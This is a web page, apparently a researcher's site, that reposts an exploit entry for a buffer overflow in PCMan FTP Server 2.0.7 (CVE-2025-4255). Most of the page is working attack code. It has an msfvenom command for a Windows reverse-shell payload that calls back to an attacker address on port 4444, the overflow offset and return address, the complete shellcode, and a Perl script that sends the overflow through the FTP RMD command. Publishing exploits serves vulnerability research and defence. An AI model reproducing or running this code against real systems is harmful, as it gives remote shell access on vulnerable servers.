Khalil Shreateh specializes in cybersecurity, particularly as a "white hat" hacker. He focuses on identifying and reporting security vulnerabilities in software and online platforms, with notable expertise in web application security. His most prominent work includes discovering a critical flaw in Facebook's system in 2013. Additionally, he develops free social media tools and browser extensions, contributing to digital security and user accessibility.

Get Rid of Ads!


Subscribe now for only $3 a month and enjoy an ad-free experience.

Contact us at khalil@khalil-shreateh.com

# Exploit Title: PCMan FTP Server 2.0.7 - Buffer Overflow
# # Exploit Title: PCMan FTP Server 2.0.7 - Buffer Overflow
# Date: 04/17/2025
# Exploit Author: Fernando Mengali
# Vendor Homepage: http://pcman.openfoundry.org/
# Software Link:
https://www.exploit-db.com/apps/9fceb6fefd0f3ca1a8c36e97b6cc925d-PCMan.7z
# Version: 2.0.7
# Tested on: Windows XP SP3 - # Version 5.1 (Build 2600.xpsp.080413-3111 :
Service Pack 2)
# CVE: CVE-2025-4255

# msfvenom -p windows/shell_reverse_tcp lhost=192.168.176.136 lport=4444
EXITFUNC=thread -b '\x00\x0a\x0d' -a x86 --platform Windows -f perl
#offset: 2007
#badchars: \x00\x0a\x0d
#EIP: 0x74e32fd9 (JMP ESP)

my $buf =
"\xbd\xcc\x95\x24\x8c\xda\xdb\xd9\x74\x24\xf4\x5a\x33\xc9" .
"\xb1\x52\x31\x6a\x12\x83\xc2\x04\x03\xa6\x9b\xc6\x79\xca" .
"\x4c\x84\x82\x32\x8d\xe9\x0b\xd7\xbc\x29\x6f\x9c\xef\x99" .
"\xfb\xf0\x03\x51\xa9\xe0\x90\x17\x66\x07\x10\x9d\x50\x26" .
"\xa1\x8e\xa1\x29\x21\xcd\xf5\x89\x18\x1e\x08\xc8\x5d\x43" .
"\xe1\x98\x36\x0f\x54\x0c\x32\x45\x65\xa7\x08\x4b\xed\x54" .
"\xd8\x6a\xdc\xcb\x52\x35\xfe\xea\xb7\x4d\xb7\xf4\xd4\x68" .
"\x01\x8f\x2f\x06\x90\x59\x7e\xe7\x3f\xa4\x4e\x1a\x41\xe1" .
"\x69\xc5\x34\x1b\x8a\x78\x4f\xd8\xf0\xa6\xda\xfa\x53\x2c" .
"\x7c\x26\x65\xe1\x1b\xad\x69\x4e\x6f\xe9\x6d\x51\xbc\x82" .
"\x8a\xda\x43\x44\x1b\x98\x67\x40\x47\x7a\x09\xd1\x2d\x2d" .
"\x36\x01\x8e\x92\x92\x4a\x23\xc6\xae\x11\x2c\x2b\x83\xa9" .
"\xac\x23\x94\xda\x9e\xec\x0e\x74\x93\x65\x89\x83\xd4\x5f" .
"\x6d\x1b\x2b\x60\x8e\x32\xe8\x34\xde\x2c\xd9\x34\xb5\xac" .
"\xe6\xe0\x1a\xfc\x48\x5b\xdb\xac\x28\x0b\xb3\xa6\xa6\x74" .
"\xa3\xc9\x6c\x1d\x4e\x30\xe7\xe2\x27\x8a\x7f\x8a\x35\xea" .
"\x6e\x17\xb3\x0c\xfa\xb7\x95\x87\x93\x2e\xbc\x53\x05\xae" .
"\x6a\x1e\x05\x24\x99\xdf\xc8\xcd\xd4\xf3\xbd\x3d\xa3\xa9" .
"\x68\x41\x19\xc5\xf7\xd0\xc6\x15\x71\xc9\x50\x42\xd6\x3f" .
"\xa9\x06\xca\x66\x03\x34\x17\xfe\x6c\xfc\xcc\xc3\x73\xfd" .
"\x81\x78\x50\xed\x5f\x80\xdc\x59\x30\xd7\x8a\x37\xf6\x81" .
"\x7c\xe1\xa0\x7e\xd7\x65\x34\x4d\xe8\xf3\x39\x98\x9e\x1b" .
"\x8b\x75\xe7\x24\x24\x12\xef\x5d\x58\x82\x10\xb4\xd8\xa2" .
"\xf2\x1c\x15\x4b\xab\xf5\x94\x16\x4c\x20\xda\x2e\xcf\xc0" .
"\xa3\xd4\xcf\xa1\xa6\x91\x57\x5a\xdb\x8a\x3d\x5c\x48\xaa" .
"\x17";


# Version 5.1 (Build 2600.xpsp.080413-3111 : Service Pack 2)

my $sock = IO::Socket::INET->new(
PeerAddr => "192.168.176.131",
PeerPort => "21",
Proto => 'tcp',
) or die "Cannot connect to 192.168.176.131:21: $!\n";

my $offset = "A"x2007;
my $eip = "\xd9\x2f\xe3\x74";
my $nops = "\x90"x20;
my $payload = $offset . $eip . $nops . $buf;
my $r = <$sock>;
print $sock "USER anonymous\r\n";
$r = <$sock>;
print $r;
sleep(1);
print $sock "PASS anonymous\r\n";
$r = <$sock>;
print $r;
sleep(1);
print $sock "RMD $payload\r\n";
$r = <$sock>;
print $r;
sleep(1);
close($sock);
Social Media Share